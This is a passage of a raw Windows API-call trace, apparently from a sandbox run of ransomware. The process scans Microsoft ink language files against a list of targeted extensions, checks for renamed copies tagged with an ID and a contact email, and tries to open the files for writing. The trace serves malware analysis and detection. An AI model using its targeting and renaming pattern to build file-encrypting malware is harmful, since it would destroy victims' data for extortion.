	[0135.999] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0135.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0135.999] lstrlenW (lpString=".jpg") returned 4
	[0135.999] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0135.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0135.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0135.999] lstrlenW (lpString=".doc") returned 4
	[0136.000] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0136.000] lstrlenW (lpString=".docx") returned 5
	[0136.000] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0136.000] lstrlenW (lpString=".pdf") returned 4
	[0136.000] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0136.000] lstrlenW (lpString=".xls") returned 4
	[0136.000] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0136.000] lstrlenW (lpString=".xlsx") returned 5
	[0136.000] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0136.000] lstrlenW (lpString=".ppt") returned 4
	[0136.000] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0136.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0136.000] lstrlenW (lpString=".zip") returned 4
	[0136.000] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0136.000] lstrlenW (lpString=".rar") returned 4
	[0136.000] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0136.000] lstrlenW (lpString=".bz2") returned 4
	[0136.000] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0136.000] lstrlenW (lpString=".7z") returned 3
	[0136.000] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0136.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0136.000] lstrlenW (lpString=".dbf") returned 4
	[0136.000] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0136.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0136.000] lstrlenW (lpString=".1cd") returned 4
	[0136.000] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0136.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0136.001] lstrlenW (lpString=".jpg") returned 4
	[0136.001] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0136.002] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0136.004] lstrlenW (lpString="mshwLatin.dll.mui") returned 17
	[0136.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0136.024] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=3072) returned 1
	[0136.024] CloseHandle (hObject=0x3a8) returned 1
	[0136.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20
	[0136.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0136.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0136.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0136.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0136.025] lstrlenW (lpString=".doc") returned 4
	[0136.025] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0136.025] lstrlenW (lpString=".docx") returned 5
	[0136.025] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0136.025] lstrlenW (lpString=".pdf") returned 4
	[0136.025] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0136.025] lstrlenW (lpString=".xls") returned 4
	[0136.025] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0136.025] lstrlenW (lpString=".xlsx") returned 5
	[0136.025] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0136.025] lstrlenW (lpString=".ppt") returned 4
	[0136.025] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0136.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0136.025] lstrlenW (lpString=".zip") returned 4
	[0136.025] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0136.025] lstrlenW (lpString=".rar") returned 4
	[0136.026] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0136.026] lstrlenW (lpString=".bz2") returned 4
	[0136.026] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0136.026] lstrlenW (lpString=".7z") returned 3
	[0136.026] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0136.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0136.026] lstrlenW (lpString=".dbf") returned 4
	[0136.026] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0136.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0136.026] lstrlenW (lpString=".1cd") returned 4
	[0136.026] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0136.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0136.026] lstrlenW (lpString=".jpg") returned 4
	[0136.026] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0136.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0136.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0136.026] lstrlenW (lpString=".doc") returned 4
	[0136.026] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0136.026] lstrlenW (lpString=".docx") returned 5
	[0136.026] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0136.026] lstrlenW (lpString=".pdf") returned 4
	[0136.026] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0136.026] lstrlenW (lpString=".xls") returned 4
	[0136.026] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0136.026] lstrlenW (lpString=".xlsx") returned 5
	[0136.026] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0136.026] lstrlenW (lpString=".ppt") returned 4
	[0136.027] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0136.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0136.027] lstrlenW (lpString=".zip") returned 4
	[0136.027] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0136.027] lstrlenW (lpString=".rar") returned 4
	[0136.027] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0136.027] lstrlenW (lpString=".bz2") returned 4
	[0136.027] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0136.027] lstrlenW (lpString=".7z") returned 3
	[0136.027] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0136.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0136.027] lstrlenW (lpString=".dbf") returned 4
	[0136.027] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0136.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0136.027] lstrlenW (lpString=".1cd") returned 4
	[0136.027] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0136.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0136.027] lstrlenW (lpString=".jpg") returned 4
	[0136.027] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0136.027] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0136.027] lstrlenW (lpString="rtscom.dll.mui") returned 14
	[0136.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0136.044] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=3072) returned 1
	[0136.044] CloseHandle (hObject=0x3a8) returned 1
	[0136.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20
	[0136.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0136.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0136.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0136.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0136.045] lstrlenW (lpString=".doc") returned 4
	[0136.045] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0136.045] lstrlenW (lpString=".docx") returned 5
	[0136.045] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0136.045] lstrlenW (lpString=".pdf") returned 4
	[0136.045] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0136.045] lstrlenW (lpString=".xls") returned 4
	[0136.045] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0136.045] lstrlenW (lpString=".xlsx") returned 5
	[0136.045] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0136.045] lstrlenW (lpString=".ppt") returned 4
	[0136.045] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0136.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0136.045] lstrlenW (lpString=".zip") returned 4
	[0136.045] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0136.045] lstrlenW (lpString=".rar") returned 4
	[0136.045] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0136.045] lstrlenW (lpString=".bz2") returned 4
	[0136.045] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0136.045] lstrlenW (lpString=".7z") returned 3
	[0136.045] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0136.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0136.045] lstrlenW (lpString=".dbf") returned 4
	[0136.046] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0136.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0136.046] lstrlenW (lpString=".1cd") returned 4
	[0136.046] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0136.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0136.046] lstrlenW (lpString=".jpg") returned 4
	[0136.046] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0136.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0136.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0136.046] lstrlenW (lpString=".doc") returned 4
	[0136.046] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0136.046] lstrlenW (lpString=".docx") returned 5
	[0136.046] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0136.046] lstrlenW (lpString=".pdf") returned 4
	[0136.046] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0136.046] lstrlenW (lpString=".xls") returned 4
	[0136.046] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0136.046] lstrlenW (lpString=".xlsx") returned 5
	[0136.046] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0136.046] lstrlenW (lpString=".ppt") returned 4
	[0136.046] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0136.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0136.046] lstrlenW (lpString=".zip") returned 4
	[0136.046] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0136.046] lstrlenW (lpString=".rar") returned 4
	[0136.046] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0136.046] lstrlenW (lpString=".bz2") returned 4
	[0136.047] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0136.047] lstrlenW (lpString=".7z") returned 3
	[0136.047] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0136.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0136.047] lstrlenW (lpString=".dbf") returned 4
	[0136.047] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0136.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0136.047] lstrlenW (lpString=".1cd") returned 4
	[0136.047] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0136.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0136.047] lstrlenW (lpString=".jpg") returned 4
	[0136.047] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0136.047] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0136.047] lstrlenW (lpString="tabskb.dll.mui") returned 14
	[0136.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0136.057] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=5120) returned 1
	[0136.057] CloseHandle (hObject=0x3a8) returned 1
	[0136.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20
	[0136.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0136.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0136.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0136.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0136.058] lstrlenW (lpString=".doc") returned 4
	[0136.058] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0136.058] lstrlenW (lpString=".docx") returned 5
	[0136.058] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0136.058] lstrlenW (lpString=".pdf") returned 4
	[0136.058] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0136.058] lstrlenW (lpString=".xls") returned 4
	[0136.058] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0136.058] lstrlenW (lpString=".xlsx") returned 5
	[0136.058] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0136.058] lstrlenW (lpString=".ppt") returned 4
	[0136.058] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0136.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0136.058] lstrlenW (lpString=".zip") returned 4
	[0136.058] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0136.059] lstrlenW (lpString=".rar") returned 4
	[0136.059] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0136.059] lstrlenW (lpString=".bz2") returned 4
	[0136.059] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0136.059] lstrlenW (lpString=".7z") returned 3
	[0136.059] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0136.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0136.059] lstrlenW (lpString=".dbf") returned 4
	[0136.059] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0136.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0136.059] lstrlenW (lpString=".1cd") returned 4
	[0136.059] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0136.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0136.059] lstrlenW (lpString=".jpg") returned 4
	[0136.059] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0136.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0136.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0136.059] lstrlenW (lpString=".doc") returned 4
	[0136.059] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0136.059] lstrlenW (lpString=".docx") returned 5
	[0136.059] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0136.059] lstrlenW (lpString=".pdf") returned 4
	[0136.059] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0136.059] lstrlenW (lpString=".xls") returned 4
	[0136.059] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0136.059] lstrlenW (lpString=".xlsx") returned 5
	[0136.059] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0136.060] lstrlenW (lpString=".ppt") returned 4
	[0136.060] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0136.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0136.060] lstrlenW (lpString=".zip") returned 4
	[0136.060] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0136.060] lstrlenW (lpString=".rar") returned 4
	[0136.060] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0136.060] lstrlenW (lpString=".bz2") returned 4
	[0136.060] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0136.060] lstrlenW (lpString=".7z") returned 3
	[0136.060] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0136.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0136.060] lstrlenW (lpString=".dbf") returned 4
	[0136.060] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0136.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0136.060] lstrlenW (lpString=".1cd") returned 4
	[0136.060] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0136.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71
	[0136.060] lstrlenW (lpString=".jpg") returned 4
	[0136.060] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0136.060] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0136.060] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0136.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0136.061] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=9728) returned 1
	[0136.061] CloseHandle (hObject=0x3a8) returned 1
	[0136.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20
	[0136.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0136.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0136.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0136.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0136.062] lstrlenW (lpString=".doc") returned 4
	[0136.062] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0136.062] lstrlenW (lpString=".docx") returned 5
	[0136.062] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0136.062] lstrlenW (lpString=".pdf") returned 4
	[0136.062] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0136.062] lstrlenW (lpString=".xls") returned 4
	[0136.062] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0136.062] lstrlenW (lpString=".xlsx") returned 5
	[0136.062] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0136.062] lstrlenW (lpString=".ppt") returned 4
	[0136.062] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0136.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0136.062] lstrlenW (lpString=".zip") returned 4
	[0136.063] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0136.063] lstrlenW (lpString=".rar") returned 4
	[0136.063] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0136.063] lstrlenW (lpString=".bz2") returned 4
	[0136.063] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0136.063] lstrlenW (lpString=".7z") returned 3
	[0136.063] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0136.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0136.063] lstrlenW (lpString=".dbf") returned 4
	[0136.063] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0136.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0136.063] lstrlenW (lpString=".1cd") returned 4
	[0136.063] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0136.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0136.063] lstrlenW (lpString=".jpg") returned 4
	[0136.063] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0136.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0136.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0136.063] lstrlenW (lpString=".doc") returned 4
	[0136.063] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0136.063] lstrlenW (lpString=".docx") returned 5
	[0136.063] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0136.063] lstrlenW (lpString=".pdf") returned 4
	[0136.063] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0136.063] lstrlenW (lpString=".xls") returned 4
	[0136.063] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0136.064] lstrlenW (lpString=".xlsx") returned 5
	[0136.064] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0136.064] lstrlenW (lpString=".ppt") returned 4
	[0136.064] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0136.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0136.064] lstrlenW (lpString=".zip") returned 4
	[0136.064] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0136.064] lstrlenW (lpString=".rar") returned 4
	[0136.064] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0136.064] lstrlenW (lpString=".bz2") returned 4
	[0136.064] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0136.064] lstrlenW (lpString=".7z") returned 3
	[0136.064] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0136.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0136.064] lstrlenW (lpString=".dbf") returned 4
	[0136.064] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
